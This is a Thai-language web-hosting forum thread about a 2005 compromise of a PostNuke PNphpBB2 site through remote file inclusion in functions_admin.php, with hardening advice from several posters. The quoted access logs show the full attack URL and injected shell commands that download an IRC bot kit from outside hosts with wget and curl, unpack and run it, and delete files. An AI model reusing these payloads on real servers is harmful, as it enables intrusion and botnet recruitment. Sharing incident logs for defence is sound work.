PNphpBB2 functions_admin.php โดน Hack

เว็บลูกค้าโดน hack ผ่าน PHPBB2 ที่อยู่ใน PostNuke วันนี้เห็นกับตาตัวเองครับ (แปลกที่ยังรันใน /tmp ได้ ทั้งที่ตรวจดูเห็นว่า mount noexec แล้ว แต่ไม่เป็นไร เดี๋ยวดูอีกที)

เรื่องมีอยู่ว่านี่ครับ

[SIZE=1]
cdomain.com:202.95.157.153 - - [31/May/2005:07:23:49 +0700] "GET /modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://geocities.com/bereeek/e.txt?&cmd=uname%20-a;id;cd%20/var/tmp;ls%20-la HTTP/1.0" 200 64632 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
cdomain.com:202.95.157.153 - - [31/May/2005:07:24:18 +0700] "GET /modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://geocities.com/bereeek/e.txt?&cmd=uname%20-a;id;cd%20/var/tmp;cd%20.stelkers;./dssl%20b.txt HTTP/1.0" 200 1247 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
cdomain.com:202.95.157.153 - - [31/May/2005:07:25:18 +0700] "GET /modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://geocities.com/bereeek/e.txt?&cmd=uname%20-a;id;cd%20/var/tmp;wget%20http://www.novadesign.com/exoops/modules/headlines/cache/banners/stelkers.zip HTTP/1.0" 200 1246 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
cdomain.com:202.95.157.153 - - [31/May/2005:07:25:34 +0700] "GET /modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://geocities.com/bereeek/e.txt?&cmd=uname%20-a;id;cd%20/var/tmp;curl%20-o%20stelkers.zip%20novadesign.com/exoops/modules/headlines/cache/banners/stelkers.zip HTTP/1.0" 200 1842 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
cdomain.com:202.95.157.153 - - [31/May/2005:07:25:45 +0700] "GET /modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://geocities.com/bereeek/e.txt?&cmd=uname%20-a;id;cd%20/var/tmp;tar%20-zxvf%20stelkers.zip HTTP/1.0" 200 5732 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
cdomain.com:202.95.157.153 - - [31/May/2005:07:25:54 +0700] "GET /modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://geocities.com/bereeek/e.txt?&cmd=uname%20-a;id;cd%20/var/tmp;cd%20.stelkers/scripts;rm%20-rf%20ary.tcl HTTP/1.0" 200 1209 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
cdomain.com:202.95.157.153 - - [31/May/2005:07:26:05 +0700] "GET /modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://geocities.com/bereeek/e.txt?&cmd=uname%20-a;id;cd%20/var/tmp;cd%20.stelkers/scripts;curl%20-o%20ary.tcl%20daengiwan.info/tcl/ary.tcl HTTP/1.0" 200 1763 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
cdomain.com:202.95.157.153 - - [31/May/2005:07:26:13 +0700] "GET /modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://geocities.com/bereeek/e.txt?&cmd=uname%20-a;id;cd%20/var/tmp;cd%20.stelkers HTTP/1.0" 200 1209 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
cdomain.com:202.95.157.153 - - [31/May/2005:07:26:29 +0700] "GET /modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://geocities.com/bereeek/e.txt?&cmd=/sbin/ifconfig%20|%20grep%20inet HTTP/1.0" 200 1468 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
cdomain.com:202.95.157.153 - - [31/May/2005:07:27:26 +0700] "GET /modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://geocities.com/bereeek/e.txt?&cmd=uname%20-a;id;cd%20/var/tmp;cd%20.stelkers;./make%20a1.txt%20erixronta%20erixz%20203.146.102.101%20menado%20ohara HTTP/1.0" 200 1595 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
cdomain.com:202.95.157.153 - - [31/May/2005:07:27:34 +0700] "GET /modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://geocities.com/bereeek/e.txt?&cmd=uname%20-a;id;cd%20/var/tmp;cd%20.stelkers;./dssl%20a1.txt HTTP/1.0" 200 2741 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
cdomain.com:202.95.157.153 - - [31/May/2005:07:28:10 +0700] "GET /modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://geocities.com/bereeek/e.txt?&cmd=uname%20-a;id;cd%20/var/tmp;cd%20.stelkers;./make%20a2.txt%20nerfaz%20ceffe%20203.146.102.114%20menado%20ohara HTTP/1.0" 200 1592 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
cdomain.com:202.95.157.153 - - [31/May/2005:07:28:34 +0700] "GET /modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://geocities.com/bereeek/e.txt?&cmd=uname%20-a;id;cd%20/var/tmp;cd%20.stelkers;./dssl%20a2.txt HTTP/1.0" 200 2734 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
cdomain.com:202.95.157.153 - - [31/May/2005:07:31:37 +0700] "GET /modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://geocities.com/bereeek/e.txt?&cmd=uname%20-a;id;cd%20/var/tmp;cd%20.stelkers;./make%20a3.txt%20amiesa%20morea%20203.146.102.98%20menado%20ohara HTTP/1.0" 200 1590 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
cdomain.com:202.95.157.153 - - [31/May/2005:07:31:45 +0700] "GET /modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://geocities.com/bereeek/e.txt?&cmd=uname%20-a;id;cd%20/var/tmp;cd%20.stelkers;./dssl%20a3.txt HTTP/1.0" 200 2734 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
cdomain.com:202.95.157.153 - - [31/May/2005:07:34:03 +0700] "GET /modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://geocities.com/bereeek/e.txt?&cmd=uname%20-a;id;cd%20/var/tmp;cd%20.stelkers/scripts;./autobotchk%20a1.txt HTTP/1.0" 200 1986 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
cdomain.com:202.95.157.153 - - [31/May/2005:07:34:09 +0700] "GET /modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://geocities.com/bereeek/e.txt?&cmd=uname%20-a;id;cd%20/var/tmp;cd%20.stelkers/scripts;./autobotchk%20a2.txt HTTP/1.0" 200 1971 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
cdomain.com:202.95.157.153 - - [31/May/2005:07:34:14 +0700] "GET /modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://geocities.com/bereeek/e.txt?&cmd=uname%20-a;id;cd%20/var/tmp;cd%20.stelkers/scripts;./autobotchk%20a3.txt HTTP/1.0" 200 1971 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
[/SIZE]

และเขาก็จะมารัน irc bot ในเครื่องได้สบายใจเฉิ่ม (เพราะ exec /tmp ได้ – ซึ่งเดี๋ยวทางเราต้องเช็คอีกที)

ไฟล์ที่เป็นปัญหาคือไฟล์นี้
modules/PNphpBB2/includes/functions_admin.php

การแก้ไข ลบบรรทัดนี้ออก

// Begin PNphpBB2 Categories Hierarchie Mod
include_once( $phpbb_root_path . 'includes/functions.' . $phpEx );
// End PNphpBB2 Categories Hierarchie Mod

ลองตรวจดูว่า /tmp หรือ /var/tmp หรือ อะไรเทือกนั้น ของท่าน mount noexec และตรวจหาไฟล์ modules/PNphpBB2/includes/functions_admin.php ของลูกค้านะครับ และจะให้ดี chmod o-rx /usr/bin/make รวมถึงพวก compiler ต่าง
ๆ ด้วย

IP ที่เจาะเข้ามานี้ 202.95.157.153 ดูเหมือนจะมาจาก .id (indo?) ไม่รู้โดน hack มาก่อน หรือ ตัวจริงเสียงจริง ไว้วันหลังจะไปทักทาย :wink:

ใช้คำสั่งนี้หาไฟล์ดังกล่าวได้ครับ

locate functions_admin.php|xargs grep phpbb_root_path

ขอบคุณครับ :angel:

ปัญหาแฮกผ่าน php script ส่วนมากมาจาก register_global=on โดนมาหลายรอบแล้ว
แล้วแต่ว่าเขาจะทำอะไร อย่างเบาะๆก็ เปลี่ยนหน้าเวบ อย่างหนักก็เอาไวรัสมาวาง

เคยโดนแบบนี้เป๊ะ
ตัวนี้เป๊ะ
แต่คนละ IP
ยังเก็บไฟล์ zip ไว้อยู่เลยครับ พวกนี้มาจาก บราซิล อินโด

เขาเอามาแตกใน share memory ได้ครับ โดยทั้งๆที่ /tmp ติด nodev noexec
วิธีแก้ สุดๆ ก้อต้อง register globals=off
allow_url_fopen=off(โดนลูกค้าด่าแน่ๆ อิอิ ทามมายอัพไฟล์ไม่ขึ้น เพ่)
safe mode=on (ตัดปัญหาการโยกย้ายเจ้าของไฟล์ )เพราะการแตก จะมีสิทธิของ nobody หรือ apache ตาม apache แต่จะไม่มีสิทธิ์มาสร้างโฟลเดอร์ใหม่ใน folder อื่นๆ
chroot apache ไว้ก้อดี
ถ้าเอาแบบฉมัง ต้องย้าย /usr/bin/unzip หรือ /usr/share/bin/unzip เปลี่ยนชื่อหรือลบไปเลย
ลบ make ,c library ทิ้งทั้งหมด กันการเอาโปรแกรมมาคอมไพล์ใหม่
อันนี้แก้ได้เกือบ 100%ของการโยนไฟล์แบบนี้ เหอๆ โหด

นี่ครับ เจอ นี่เข้าให้ http://219.149.65.38:8889/

:irc.dks.ca NOTICE AUTH :*** Looking up your hostname…
:irc.dks.ca NOTICE AUTH :*** Couldn’t resolve your hostname; using your IP address instead
:irc.dks.ca 451 GET :You have not registered
:irc.dks.ca 451 Accept: :You have not registered
:irc.dks.ca 451 Accept-Language: :You have not registered
:irc.dks.ca 451 Accept-Encoding: :You have not registered
:irc.dks.ca 451 User-Agent: :You have not registered
:irc.dks.ca 451 Host: :You have not registered
:irc.dks.ca 451 Connection: :You have not registered
ERROR :Closing Link: [61.19.65.238] (Ping timeout)

irc server นี่นา

เคยตามไปดู จากที่มัน request เข้ามานะครับ แล้วก็ลองแกะดูจาก source แล้วตามเข้าไป ก็ไปเจอ irc server รวมถึงชื่อห้องเฉพาะ แต่ส่วนใหญ่เขาจะใช้ server เฉพาะของเขาเอง อาจจะเป็น เครื่องที่ hack มาได้แล้วก็ install irc server ลงไป…พอเข้าไปในห้องบางห้องก็จะปิดไม่ให้เห็นว่าเขาพิมพ์อะไรกัน บางห้องเราก็จะเห็น แต่ที่ผมเห็นคือ irc bot ที่มาจากแต่ละเครื่องที่มีช่องโหว่นั้นมากกว่า 50 หรือบางทีก็ถึง 500 ก็มี แล้วก็ลองคิดดูว่าถ้า irc bot เหล่านี้ ส่ง ping หรือ flood มาที่ server คุณจะเกิดอะไรขึ้น เพราะใน code ที่ irc bot ใช้นั้นมี function สำหรับงานนี้ด้วยครับ และก็ร่วมถึงบางส่วนของโปรแกรมที่ใช้ค้นหา เครื่องที่มีช่วงโหว่ จากนั้นก็จะส่ง code เข้าไปจากนั้นเครื่องนั้นก็จะ run irc bot เข้าไป join ใน irc server ต่อไปเป็นทอดๆ ครับ อาการติดต่อคล้ายๆกับ virus เลย หรือที่เขาเรียกว่า worm นะครับ